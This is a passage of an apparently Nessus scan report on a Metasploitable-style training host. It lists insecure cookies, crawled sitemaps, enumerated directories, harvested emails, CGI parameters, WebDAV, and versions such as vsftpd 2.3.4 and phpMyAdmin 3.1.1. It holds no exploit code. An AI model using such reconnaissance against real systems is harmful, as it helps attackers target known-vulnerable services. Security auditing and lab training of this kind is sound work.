Value : b440b1317612d2bdc961acd7ad8d6a61
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : phpMyAdmin
Path : /phpMyAdmin/
Value : b95709354033ff23f9ff92f8b5ec78dd51f7ae71
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 504448063A732248DEA6CD26C6F16F6C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

## 85602 - Web Application Cookies Not Marked Secure

### Synopsis

HTTP session cookies might be transmitted in cleartext.

### Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

### See Also

https://www.owasp.org/index.php/SecureFlag

### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

### Risk Factor

None

### References

| | |
|---|---|
| XREF | CWE:522 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

### Plugin Information

Published: 2015/08/24, Modified: 2015/08/24

### Plugin Output

tcp/8180/www

```
The following cookies do not set the secure cookie flag :

Name : JSESSIONID
Path : /admin
Value : 73D07401344188CC8A8AED7DBB04C6CA
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : pma_theme
Path : /phpMyAdmin/
Value : original
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_fontsize
Path : /phpMyAdmin/
Value : 82%25
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:35 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /jsp-examples
Value : 0E1265C3375BE6CC2D2577E2E119F64A
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : PHPSESSID
Path : /
Value : b440b1317612d2bdc961acd7ad8d6a61
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : phpMyAdmin
Path : /phpMyAdmin/
Value : b95709354033ff23f9ff92f8b5ec78dd51f7ae71
Domain :
Version : 1
Expires :
```

```
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_lang
Path : /phpMyAdmin/
Value : en-utf-8
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : pma_charset
Path : /phpMyAdmin/
Value : utf-8
Domain :
Version : 1
Expires : Thu, 23-Oct-2025 18:42:34 GMT
Comment :
Secure : 0
Httponly : 1
Port :


Name : JSESSIONID
Path : /servlets-examples
Value : 504448063A732248DEA6CD26C6F16F6C
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :


Name : security
Path : /
Value : high
Domain :
Version : 1
Expires :
Comment :
Secure : 0
Httponly : 0
Port :
```

## 40773 - Web Application Potentially Sensitive CGI Parameter Detection

### Synopsis

An application was found that may use CGI parameters to control sensitive information.

### Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

** This plugin only reports information that may be useful for auditors

** or pen-testers, not a real flaw.

### Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

### Risk Factor

None

### Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

### Plugin Output

tcp/80/www

```
Potentially sensitive parameters for CGI /dvwa/login.php :

password : Possibly a clear or hashed password, vulnerable to sniffing or dictionary attack
```

## 91815 - Web Application Sitemap

### Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

### Description

The remote web server contains linkable content that can be used to gather information about a target.

### See Also

http://www.nessus.org/u?5496c8d9

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

### Plugin Output

tcp/80/www

```
The following sitemap was created from crawling linkable content on the target host :

  - http://192.168.50.101/
  - http://192.168.50.101/dav/
  - http://192.168.50.101/dvwa/dvwa/
  - http://192.168.50.101/dvwa/dvwa/css/
  - http://192.168.50.101/dvwa/dvwa/css/help.css
  - http://192.168.50.101/dvwa/dvwa/css/login.css
  - http://192.168.50.101/dvwa/dvwa/css/main.css
  - http://192.168.50.101/dvwa/dvwa/css/source.css
  - http://192.168.50.101/dvwa/dvwa/images/
  - http://192.168.50.101/dvwa/dvwa/images/RandomStorm.png
  - http://192.168.50.101/dvwa/dvwa/images/dollar.png
  - http://192.168.50.101/dvwa/dvwa/images/lock.png
  - http://192.168.50.101/dvwa/dvwa/images/login_logo.png
  - http://192.168.50.101/dvwa/dvwa/images/logo.png
  - http://192.168.50.101/dvwa/dvwa/images/spanner.png
  - http://192.168.50.101/dvwa/dvwa/images/warning.png
  - http://192.168.50.101/dvwa/dvwa/includes/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://192.168.50.101/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPage.inc.php
  - http://192.168.50.101/dvwa/dvwa/includes/dvwaPhpIds.inc.php
  - http://192.168.50.101/dvwa/dvwa/js/
  - http://192.168.50.101/dvwa/dvwa/js/dvwaPage.js
  - http://192.168.50.101/dvwa/login.php
  - http://192.168.50.101/mutillidae/
  - http://192.168.50.101/mutillidae/documentation/
  - http://192.168.50.101/mutillidae/documentation/Mutillidae-Test-Scripts.txt
  - http://192.168.50.101/mutillidae/documentation/how-to-access-Mutillidae-over-Virtual-Box-
network.php
  - http://192.168.50.101/mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
  - http://192.168.50.101/mutillidae/documentation/sqlmap-help.txt
  - http://192.168.50.101/mutillidae/documentation/vulnerabilities.php
  - http://192.168.50.101/mutillidae/favicon.ico
  - http://192.168.50.101/mutillidae/framer.html
  - http://192.168.50.101/mutillidae/index.php
  - http://192.168.50.101/mutillidae/set-up-database.php
  - http://192.1 [...]
```

## 91815 - Web Application Sitemap

### Synopsis

The remote web server hosts linkable content that can be crawled by Nessus.

### Description

The remote web server contains linkable content that can be used to gather information about a target.

### See Also

http://www.nessus.org/u?5496c8d9

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2016/06/24, Modified: 2016/06/24

### Plugin Output

tcp/8180/www

```

The following sitemap was created from crawling linkable content on the target host :

  - http://192.168.50.101:8180/
  - http://192.168.50.101:8180/RELEASE-NOTES.txt
  - http://192.168.50.101:8180/admin/
  - http://192.168.50.101:8180/admin/error.jsp
  - http://192.168.50.101:8180/admin/j_security_check
  - http://192.168.50.101:8180/jsp-examples/
  - http://192.168.50.101:8180/jsp-examples/cal/Entries.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/Entry.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/TableBean.java.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp
  - http://192.168.50.101:8180/jsp-examples/cal/cal1.jsp.html
  - http://192.168.50.101:8180/jsp-examples/cal/cal2.jsp.html
  - http://192.168.50.101:8180/jsp-examples/cal/calendar.html
  - http://192.168.50.101:8180/jsp-examples/cal/login.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/CheckTest.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/check.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp
  - http://192.168.50.101:8180/jsp-examples/checkbox/checkresult.jsp.html
  - http://192.168.50.101:8180/jsp-examples/checkbox/cresult.html
  - http://192.168.50.101:8180/jsp-examples/colors/ColorGameBean.html
  - http://192.168.50.101:8180/jsp-examples/colors/clr.html
  - http://192.168.50.101:8180/jsp-examples/colors/colors.html
```

```
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp
    - http://192.168.50.101:8180/jsp-examples/colors/colrs.jsp.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.html
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp
    - http://192.168.50.101:8180/jsp-examples/dates/date.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/er.html
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp
    - http://192.168.50.101:8180/jsp-examples/error/err.jsp.html
    - http://192.168.50.101:8180/jsp-examples/error/error.html
    - http://192.168.50.101:8180/jsp-examples/forward/forward.jsp
    - http://192.168.50.101:8180/jsp-examples/forw [...]
```

## 20108 - Web Server / Application favicon.ico Vendor Fingerprinting

### Synopsis

The remote web server contains a graphic image that is prone to information disclosure.

### Description

The 'favicon.ico' file found on the remote web server belongs to a popular web server. This may be used to fingerprint the web server.

### Solution

Remove the 'favicon.ico' file or create a custom one for your site.

### Risk Factor

None

### Plugin Information

Published: 2005/10/28, Modified: 2020/06/12

### Plugin Output

tcp/8180/www

```
  MD5 fingerprint : 4644f2d45601037b8423d45e13194c93
  Web server      : Apache Tomcat or Alfresco Community
```

## 11032 - Web Server Directory Enumeration

### Synopsis

It is possible to enumerate directories on the web server.

### Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

### See Also

http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | OWASP:OWASP-CM-006 |

### Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

### Plugin Output

tcp/80/www

```

The following directories were discovered:
/cgi-bin, /doc, /test, /icons, /phpMyAdmin, /twiki/bin

While this is not, in and of itself, a bug, you should manually inspect
these directories to ensure that they are in compliance with company
security standards
```

## 11032 - Web Server Directory Enumeration

### Synopsis

It is possible to enumerate directories on the web server.

### Description

This plugin attempts to determine the presence of various common directories on the remote web server. By sending a request for a directory, the web server response code indicates if it is a valid directory or not.

### See Also

http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location

### Solution

n/a

### Risk Factor

None

### References

| | |
|---|---|
| XREF | OWASP:OWASP-CM-006 |

### Plugin Information

Published: 2002/06/26, Modified: 2024/06/07

### Plugin Output

tcp/8180/www

```
The following directories were discovered:
/admin, /jsp-examples, /servlets-examples

While this is not, in and of itself, a bug, you should manually inspect
these directories to ensure that they are in compliance with company
security standards

The following directories require authentication:
/host-manager/html, /manager/html
```

## 49705 - Web Server Harvested Email Addresses

### Synopsis

Email addresses were harvested from the web server.

### Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

### Plugin Output

tcp/80/www

```
The following email address has been gathered :


- 'SomeWikiName@somewhere.test', referenced from :
   /twiki/TWikiHistory.html
```

## 49705 - Web Server Harvested Email Addresses

### Synopsis

Email addresses were harvested from the web server.

### Description

Nessus harvested HREF mailto: links and extracted email addresses by crawling the remote web server.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2010/10/04, Modified: 2018/05/24

### Plugin Output

tcp/8180/www

```
The following email addresses have been gathered :


- 'craigmcc@apache.org', referenced from :
   /tomcat-docs/appdev/printer/index.html
   /tomcat-docs/appdev/index.html
   /tomcat-docs/appdev/
   /tomcat-docs/appdev/printer/

- 'yoavs@apache.org', referenced from :
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/

- 'users@tomcat.apache.org', referenced from :
   /

- 'jfarcand@apache.org', referenced from :
   /tomcat-docs/architecture/
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html

- 'fhanik@apache.org', referenced from :
   /tomcat-docs/architecture/printer/index.html
   /tomcat-docs/architecture/
   /tomcat-docs/architecture/printer/
   /tomcat-docs/architecture/index.html
```

```
  - 'dev@tomcat.apache.org', referenced from :
     /
```

## 11419 - Web Server Office File Inventory

### Synopsis

The remote web server hosts office-related files.

### Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

### Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

### Risk Factor

None

### Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

### Plugin Output

tcp/80/www

```
The following office-related files are available on the remote server :

  - Adobe Acrobat files (.pdf) :
    /mutillidae/documentation/mutillidae-installation-on-xampp-win7.pdf
```

## 11419 - Web Server Office File Inventory

### Synopsis

The remote web server hosts office-related files.

### Description

This plugin connects to the remote web server and attempts to find office-related files such as .doc, .ppt, .xls, .pdf etc.

### Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

### Risk Factor

None

### Plugin Information

Published: 2003/03/19, Modified: 2022/04/11

### Plugin Output

tcp/8180/www

```

The following office-related files are available on the remote server :

  - Adobe Acrobat files (.pdf) :
    /tomcat-docs/architecture/requestProcess/requestProcess.pdf
    /tomcat-docs/architecture/startup/serverStartup.pdf

```

## 11422 - Web Server Unconfigured - Default Install Page Present

### Synopsis

The remote web server is not configured or is improperly configured.

### Description

The remote web server uses its default welcome page. Therefore, it's probable that this server is not used at all or is serving content that is meant to be hidden.

### Solution

Disable this service if you do not use it.

### Risk Factor

None

### Plugin Information

Published: 2003/03/20, Modified: 2018/08/15

### Plugin Output

tcp/8180/www

```
The default welcome page is from Tomcat.
```

## 10662 - Web mirroring

### Synopsis

Nessus can crawl the remote website.

### Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2001/05/04, Modified: 2025/07/14

### Plugin Output

tcp/80/www

```

Webmirror performed 100 queries in 35s (2.0857 queries per second)

The following CGIs have been discovered :


+ CGI : /phpMyAdmin/phpmyadmin.css.php
  Methods : GET
  Argument : js_frame
   Value: right
  Argument : nocache
   Value: 2457687233
  Argument : token
   Value: e322422913451bec3d90e2cc24a74cc7


+ CGI : /phpMyAdmin/index.php
  Methods : POST
  Argument : db
  Argument : lang
   Value: en-utf-8
  Argument : pma_password
  Argument : pma_username
  Argument : server
   Value: 1
  Argument : table
  Argument : token
   Value: e322422913451bec3d90e2cc24a74cc7
```

```
+ CGI : /mutillidae/index.php
  Methods : GET
  Argument : do
   Value: toggle-security
  Argument : page
   Value: notes.php
  Argument : username
   Value: anonymous


+ CGI : /mutillidae/
  Methods : GET
  Argument : page
   Value: source-viewer.php


+ CGI : /rdiff/TWiki/TWikiHistory
  Methods : GET
  Argument : rev1
   Value: 1.8
  Argument : rev2
   Value: 1.7


+ CGI : /view/TWiki/TWikiHistory
  Methods : GET
  Argument : rev
   Value: 1.7


+ CGI : /oops/TWiki/TWikiHistory
  Methods : GET
  Argument : param1
   Value: 1.10
  Argument : template
   Value: oopsrev


+ CGI : /twiki/bin/view/Main/WebHome
  Methods : GET
  Argument : topic


+ CGI : /twiki/bin/search/Main/SearchResult
  Methods : GET
  Argument : search


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/edit/Main/WebHome
  Methods : GET
  Argument : t
   Value: 1758652968


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/search/Main/SearchResult
  Methods : GET
  Argument : regex
   Value: on
  Argument : scope
   Value: text
  Argument : search
   Value: Web%20*Home%5B%5EA-Za-z%5D


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/view/Main/WebHome
  Methods : GET
  Argument : rev
   Value: 1.18
  Argument : skin
   Value: print


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/rdiff/Main/WebHome
  Methods : GET
  Argument : rev1
   Value: 1.19
  Argument : rev2
   Value: 1.18


+ CGI : /twiki/bin/view/Main/WebHome/twiki/bin/oops/Main/WebHome
  Methods : GET
  Argument : param1
    [...]
```

## 10662 - Web mirroring

### Synopsis

Nessus can crawl the remote website.

### Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2001/05/04, Modified: 2025/07/14

### Plugin Output

tcp/8180/www

```

Webmirror performed 551 queries in 150s (3.0673 queries per second)

The following CGIs have been discovered :


+ CGI : /jsp-examples/jsp2/el/implicit-objects.jsp
  Methods : GET
  Argument : foo


+ CGI : /jsp-examples/jsp2/el/functions.jsp
  Methods : GET
  Argument : foo


+ CGI : /admin/j_security_check
  Methods : POST
  Argument : j_password
  Argument : j_username


+ CGI : /jsp-examples/num/numguess.jsp
  Methods : GET
  Argument : guess


+ CGI : /jsp-examples/error/err.jsp
```

```
  Methods : GET
  Argument : name
   Value: audi
  Argument : submit
   Value: Submit


+ CGI : /jsp-examples/sessions/carts.jsp
  Methods : GET
  Argument : item
  Argument : submit
   Value: remove


+ CGI : /jsp-examples/checkbox/checkresult.jsp
  Methods : GET
  Argument : fruit
   Value: melons
  Argument : submit
   Value: Submit


+ CGI : /jsp-examples/colors/colrs.jsp
  Methods : GET,POST
  Argument : action
   Value: Hint
  Argument : color1
  Argument : color2


+ CGI : /jsp-examples/cal/cal1.jsp
  Methods : GET
  Argument : action
   Value: Submit
  Argument : email
  Argument : name


+ CGI : /servlets-examples/servlet/RequestParamExample
  Methods : POST
  Argument : firstname
  Argument : lastname


+ CGI : /servlets-examples/servlet/CookieExample
  Methods : POST
  Argument : cookiename
  Argument : cookievalue


+ CGI : /servlets-examples/servlet/SessionExample;jsessionid=504448063A732248DEA6CD26C6F16F6C
  Methods : GET,POST
  Argument : dataname
   Value: foo
  Argument : datavalue
```

## 11424 - WebDAV Detection

### Synopsis

The remote server is running with WebDAV enabled.

### Description

WebDAV is an industry standard extension to the HTTP specification.
It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

### Solution

http://support.microsoft.com/default.aspx?kbid=241520

### Risk Factor

None

### Plugin Information

Published: 2003/03/20, Modified: 2011/03/14

### Plugin Output

tcp/80/www

## 24004 - WebDAV Directory Enumeration

### Synopsis

Several directories on the remote host are DAV-enabled.

### Description

WebDAV is an industry standard extension to the HTTP specification.
It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

### Solution

Disable DAV support if you do not use it.

### Risk Factor

None

### Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

### Plugin Output

tcp/80/www

```
The following directories are DAV enabled :
 - /dav/
```

## 10150 - Windows NetBIOS / SMB Remote Host Information Disclosure

### Synopsis

It was possible to obtain the network name of the remote host.

### Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

### Plugin Output

udp/137/netbios-ns

```
The following 7 NetBIOS names have been gathered :

 METASPLOITABLE   = Computer name
 METASPLOITABLE   = Messenger Service
 METASPLOITABLE   = File Server Service
 __MSBROWSE__     = Master Browser
 WORKGROUP        = Workgroup / Domain name
 WORKGROUP        = Master Browser
 WORKGROUP        = Browser Service Elections

This SMB server seems to be a Samba server - its MAC address is NULL.
```

## 182848 - libcurl Installed (Linux / Unix)

### Synopsis

libcurl is installed on the remote Linux / Unix host.

### Description

libcurl is installed on the remote Linux / Unix host.

Additional information:

- More paths will be searched and the timeout for the search will be increased if 'Perform thorough tests' setting is enabled.

- The plugin timeout can be set to a custom value other than the plugin's default of 30 minutes via the 'timeout.182848' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

### See Also

https://curl.se/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2023/10/10, Modified: 2025/09/11

### Plugin Output

tcp/0

```
Nessus detected 2 installs of libcurl:

  Path          : libcurl3-gnutls 7.18.0-1ubuntu2 (via package manager)
  Version       : 7.18.0
  Managed by OS : True

  Path          : libcurl3 7.18.0-1ubuntu2.3 (via package manager)
  Version       : 7.18.0
  Managed by OS : True
```

## 17219 - phpMyAdmin Detection

### Synopsis

The remote web server hosts a database management application written in PHP.

### Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.

### See Also

https://www.phpmyadmin.net/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2005/02/25, Modified: 2022/06/01

### Plugin Output

tcp/80/www

```

The following instance of phpMyAdmin was detected on the remote host :

  Version : 3.1.1
  URL     : http://192.168.50.101/phpMyAdmin/
```

## 52703 - vsftpd Detection

### Synopsis

An FTP server is listening on the remote port.

### Description

The remote host is running vsftpd, an FTP server for UNIX-like systems written in C.

### See Also

http://vsftpd.beasts.org/

### Solution

n/a

### Risk Factor

None

### Plugin Information

Published: 2011/03/17, Modified: 2019/11/22

### Plugin Output

tcp/21/ftp

```
  Source  : 220 (vsFTPd 2.3.4)
  Version : 2.3.4
```